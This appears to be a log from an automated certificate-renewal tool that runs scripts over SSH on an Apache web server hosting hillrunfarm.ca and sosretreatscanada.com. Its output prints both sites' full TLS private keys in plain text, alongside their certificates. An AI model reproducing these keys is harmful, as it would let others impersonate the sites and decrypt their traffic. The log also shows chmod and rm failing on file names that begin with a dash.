ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:00:39:
PUT: /tmp/pkp666721
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:39:
chmod 755 /tmp/pkp666721; /tmp/pkp666721; rm /tmp/pkp666721
2025-12-01 06:00:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt 5377
1a:8f:d0:a1:6b:dc:6f:d2:ff:3f:20:c6:a5:7e:62:79
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnVQ/qt9Y8PBgG/b07DcMJzyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMjA3WhcNMjYwMzAxMDUwMjA2WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL5xS2DHWYwvwYOxPbtPUticBGam+k5hGr9kM5nWMabgVborciQdTuTN+bfDvleH
TCYefmRJlcgV3pGJ9vvMYU+nHmvW3szyOSG9IqIRPC0MwQdOSAtbwilIhpXv087S
Fsa9DHzgia9fiYnIUO0lZVsO2fI2gZI4lbI+rfkftpiTIena7PWVGD0WnvepYRn9
2NN1kPdJmksYWHZHxYlbI2Bl43dD0oRulkORWR/72Kgp10EhInRXVo3kD6DHva0R
H0U+/Fz6S/q2U79qZiJesOh+Zu0/HLwB72iZk7P1HjdX9D/txZWgqUjs+84BRypX
CdzAHZZ2tzDxuWoYARK0BkkCAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4vSbV3j+4Y/0EFxWn4W0eeLkUcQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABmth/roIAAAQDAEcwRQIhAPaaQpaAIs09Ub/asfE2BjePvks4i9kmy7PgrpUY
tVSxAiBM2ax6x2eig1LJE/2ZoNnQi/bYXcJy9H+nXRtBxIBrvQB2AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmth/roMAAAQDAEcwRQIgVJWDM3dw
cGAMMvygmT8aU5vnDvV6Kk/9oTvWGuKGXXACIQDCpUNWC6sB9QySOeaJKwGYGL/V
FBmCZGaXL1bhKGahZTANBgkqhkiG9w0BAQsFAAOCAQEAhGIXM1EhMC3CdjBeOE6m
5sae5wxqBu8Z3jWfMrLRIquvG1qohpyB6T6D7+xW77eTPVJqr03bNPOKyss/NkuW
1Q1Uhrdt+3vi4CFffmFMcYKz1U5kGNsJBqYAQtWy10z5HeiXzSpUggpgiJuymUCR
V3xTKcuaYyru1FRtMv2u3Ym2gblVZGquBMzNNQOjc8PLaq7cCJ/kfLSK8VeTmIFh
b09SOHkwtwO4DANFl53Dr/RD6Zn7VFUUIeMlhZ2o8aiEDOqjKaXeF9kXYXh/3I/n
LchUQMKdry9aUg6qQVp8f1Mt7WMhx+X7TeGy65/Uj7coojI+RYv4BwhfU01Uy6CM
Hw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+cUtgx1mML8GD
sT27T1LYnARmpvpOYRq/ZDOZ1jGm4FW6K3IkHU7kzfm3w75Xh0wmHn5kSZXIFd6R
ifb7zGFPpx5r1t7M8jkhvSKiETwtDMEHTkgLW8IpSIaV79PO0hbGvQx84ImvX4mJ
yFDtJWVbDtnyNoGSOJWyPq35H7aYkyHp2uz1lRg9Fp73qWEZ/djTdZD3SZpLGFh2
R8WJWyNgZeN3Q9KEbpZDkVkf+9ioKddBISJ0V1aN5A+gx72tER9FPvxc+kv6tlO/
amYiXrDofmbtPxy8Ae9omZOz9R43V/Q/7cWVoKlI7PvOAUcqVwncwB2Wdrcw8blq
GAEStAZJAgMBAAECggEATSL0hhmYwrhhKGc0+tZxVv0ypyWBAxg/zj/WyrvAVrhM
4OBSFiCs4O4w9GbbhPZvOI1nYlWPzoBVKxv3pxusWqf1IXbhvZ9q1qiWC5Dxj8m3
sa7abYdYCIKwyLBgWUgtI4hVM4t7GUaYHe++H5/jAtPsIThEmSZEM/NBYkOfIQLb
MuQOC31/eKNuTTnkAAtt+a9IPsTwh+dHExiIJXqdCdQxchvq1ER/bF6pkSzCX21f
EgP9HN+QTL/gJjvDlp5XCsqVC9KtpE6Pl6Dm5fLuAAjrJE/6Z3La1dRZib+HvDTk
4yQDmEafqIoPxSrYF7MBSLDzXhh+DhymPoHkBP/yEQKBgQD5AqpFPqt7mtMfyItP
sUpVr18402G8OW7eFPxMY1wPL2TO2P2gujJPhFUEBK0hdCmrtq4Ay4F+79zFR8rw
lb9GIyel2Dfdf1EKt/Bx2Nv/XkGvQzUv7ZXJTIdpNOTsOpWvYF88ymowxFjF+bCX
YYhkTaNnWLR2do61Et61W8OfnQKBgQDDycX+PDdhplqJctX1JxbEpFSqHR/MvYAs
Sfq7OCiLB7nFKI5Xg/nLKRFvwS5fv+E1QhwJB7JjpSnRIZBz14GM+SV3zkdDeExH
g2WjjwQ4+w2xC9PpZdwVg+9gZU2wvbDP/05HZ5kIeOmTc3vGByKs0HKwBTod3mts
T6lfjam/nQKBgGv2wtqZDILgIw/RxM09wkwaaH/b7rFMeYxiru1z2xNeaifhHz6T
3IJrjuzaFjK+Cd9Aqnr/wVrHJwKGWTAszSzcyzD16Wro67to+yBxdRloxbP2wNXR
/jK0MrXj0Cm4UPQkJcbWwGn6h772vqE0EY3jt6h0ZnJCfyd1UghyDARlAoGAUOyF
OaAKBAKOSWF9reaKMpz5oZaIHkf1QlkRmXCM0WpQDn3E18dk5+QBoP9n+4uDuk+o
5tKXmTgbIKWO31Kj6XDRW8OXEPwYCzb0O7ZROHwMHLGW1VGUtg/iUSWOBw9glZgg
8sKPLkFLyfZhomgwnN1LihWe/9l+7TW//A7BqsECgYEAvvJs4Y5fGlK+e1QU5vin
57yHaoLivK5tX5eKU7cQ5xf8t9Wjex28NjaZof0fhEW0RCnZxx1mU3gqCF6n1QiL
I8zb1sEeKDJA2RRbj7CZRKe8KuXXyCRKSL6XjE6JWFZAi5kDA4BrX5y7P8TvCMed
18bpFmLc0JCfG5eHAu/wpK8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-01 06:00:40: Establishing a connection
2025-12-01 06:00:40: Establishing a connection
2025-12-01 06:00:40:
PUT: /tmp/pkp427214
#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-01 06:00:40:
chmod 755 /tmp/pkp427214; /tmp/pkp427214; rm /tmp/pkp427214
2025-12-01 06:00:40:
1
2025-12-01 06:00:41: Establishing a connection
2025-12-01 06:00:41:
PUT: /tmp/pkp743689
#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64
cat > xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w
cat > 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco
cat > -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4
cat > WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo
cat > kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE
2025-12-01 06:00:41:
chmod 755 /tmp/pkp743689; /tmp/pkp743689; rm /tmp/pkp743689
2025-12-01 06:00:42:
chmod: invalid option -- 'q'
Try 'chmod --help' for more information.
STDERR:
chmod: invalid option -- 'q'
Try 'chmod --help' for more information.
2025-12-01 06:01:33: Establishing a connection
2025-12-01 06:01:33:
PUT: /tmp/pkp574629
#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64
rm xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w
rm 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco
rm -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4
rm WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo
rm kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE
2025-12-01 06:01:33:
chmod 755 /tmp/pkp574629; /tmp/pkp574629; rm /tmp/pkp574629
2025-12-01 06:01:33:
rm: invalid option -- 'q'
Try 'rm ./-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4' to remove the file '-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4'.
Try 'rm --help' for more information.
STDERR:
rm: invalid option -- 'q'
Try 'rm ./-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4' to remove the file '-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4'.
Try 'rm --help' for more information.
2025-12-01 06:01:33: Establishing a connection
2025-12-01 06:01:33:
PUT: /tmp/pkp450622
#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt
cat > $temp_file <<'endmsg'
96:98:61:00:9d:23:1b:84:4e:10:66:13:d7:f0:95:d1
-----BEGIN CERTIFICATE-----
MIIFdzCCBF+gAwIBAgISBplb+CNpsZSlF47y6TJtcYEPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMzAwWhcNMjYwMzAxMDUwMjU5WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZVLGnrn9gFrCfs+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMF
QoNeXU0sjobdXDpW8APbmI/d2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz
9ie659OQE3Empk8WU5C7kmIWYBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9V
kJSVveguAAuCWczMPr9tmXe9ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoC
lXU6JybkHNtMpP+/dZb84aSy61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+
MglC83b+AO06SNLT1IOP6FZOg+P9MWk1AgMBAAGjggKWMIICkjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCXuJQVZGBZ3XOF+zZv1qyIqE8kWMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGa2IB9UgAABAMARjBEAiB82keg5dMcDdZfNizPAujOwwyd
QlbbcTYsfeoNE1u8BwIgGzhm0HltEEnEgJz7c+xCuE4QP26PZWN7az3buv3FcUEA
dgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZrYgIUkAAAEAwBH
MEUCIQDkjz/uNqzUJzJx2FFo9h8bCW7ZppoarpGbGeeYQcgXjQIgV6Mu+eAueQhf
/a86Wf0kExFmm2MrmzPRP1ooI6/TcPgwDQYJKoZIhvcNAQELBQADggEBADkFiR8W
pQ1miPsqZS9un73zzbYKITel5w/8q/pDg7URu3Rm7Nb3A9kUotlxnaqiIxki3KWD
wOQb7SOWdsVXDoVh0RY7TyYYO9P7e/+x/V7fqYvq3CSrh2WG2e0fHLa6Pz3hGVk3
SAg0YQcyP+O8LY9iCPDwgnseaosiLm0Jvhrz3uIRikTAWek7rUqDCS4h3RCL6D2b
630RHYHiKqX0YugvOuHMCrPqIq7rBtemiBphZKmytIfsDvuaq/tXrfD0++qY6NM9
lPqXrHlqTzDulNIDgg0sTyEQoLAFO+bkHzgeZczhwJSmDMN+tY6gWos8+PPPcMeZ
8LlGbG28XYgMwI8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZVLGnrn9gFrCf
s+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMFQoNeXU0sjobdXDpW8APbmI/d
2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz9ie659OQE3Empk8WU5C7kmIW
YBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9VkJSVveguAAuCWczMPr9tmXe9
ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoClXU6JybkHNtMpP+/dZb84aSy
61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+MglC83b+AO06SNLT1IOP6FZO
g+P9MWk1AgMBAAECggEAPFPWPMWjdfjWbn5zJe8oHB5lHtLNw9LKRNp3SFseG0v/
jUgOahmvfPZJoRglJAksRqYjS560c3CV/u7XK4qbKLiqZnECh/DLOpsOOuA52t7v
5Jh+UcYgcHAT9z4C7Ct5bVEdAwWPV4H62FsyuQ/h2Tzq1cf72uN18OHJmObhk3+A
voUSKMyXO+YSOoQzMwdErPQ861r+jUGCCpGg5qOv/g7MUl3mczx8L/X8SUBR/oro
P98b4uaQ9ATxc7wWXE8buXwXPcc+96NHgHkXsGK46g0q546wtGpQ/I+ylFMUBDQt
gikskJgZyCQXIvcPr5GK8AlL9KeXQUKwhfhYu8jawQKBgQD0OC2jvBy+HPdpDkiY
tBB02cm8NM4E13/sKinrPtmsOMYjeLAoyMt7kKvRoH/T32uvvoSbfn80IQcY5JDO
PdwhLzZrR3Y5S3NFn5ct+kAbK2qkkXhUdRCS8ZidOf9dbR0vw3fj/g9vOjT7hirK
9ESRMssYPUx4b/xttcCaO22+/wKBgQDj0HkdNB+G1De0ahkHjO06gtYshDDe8fY0
uJAmyZIlS5ry6tASOiSODzaXOScWlrrf13ZznL7qh9yjIry0noVJMSKxX+1mQ7/j
o2s9/olgEq13AaZObXBJthe9Tc6Mm2nZEAvBvAXFxD5bxD1Dss8f5BUWtG1OxX6v
D4TwUAoLywKBgQC6ghTI0KaawgBoqNHkXM+cjZ61LxaPOAynzWOKFsuh7RHUkRzn
aMGNsmSliQ9WPXA+HR+kqKx4oSiMaDH2b+OnLClBMKgnBWoZJ9IK+OzwUu30lGvz
BBwOPJeyq1JMhUIe8gajhak/5pID7OjNalLbGJFmB5pY+B0to/pdTzl2/QKBgBy/
W+kxgKD0+qqLkOkBAZaWmAw6Cii4A8eXWqlqWkTWi5EHzIXgTGiYxtzCW4pgLui8
ObhRGU5jIpZ7dbCdKFiaGLSlVEHJXteM8aV7Dz7OXJFd5eyTps3Gaqx6uwvHOM4p
VjJ2VYwlPXE7DDgUwkpV78tTrU95YIkavj3M+9eNAoGAedrCw7hzsZmZMtfhqjkU
My5cfLbu2ikDFUmFA8fhTUmR0ACuOdO2eaCjgNBoMDd9LNItKGjjcLiG/MVzzC1a
1BgTn+HSEqx0QPthk2AuUd6iN8rS/zIgir/zxWJaeXGHwPNk0dHiRALnK75RzBjO
bZBQljie+3VCnA6sAQuulEI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-01 06:01:33:
chmod 755 /tmp/pkp450622; /tmp/pkp450622; rm /tmp/pkp450622
2025-12-01 06:01:34:
dir=/etc/ssl/certs
2025-12-01 06:01:34:
PUT: /tmp/pkp991972
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-01 06:01:34:
chmod 755 /tmp/pkp991972; /tmp/pkp991972; rm /tmp/pkp991972
2025-12-01 06:01:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
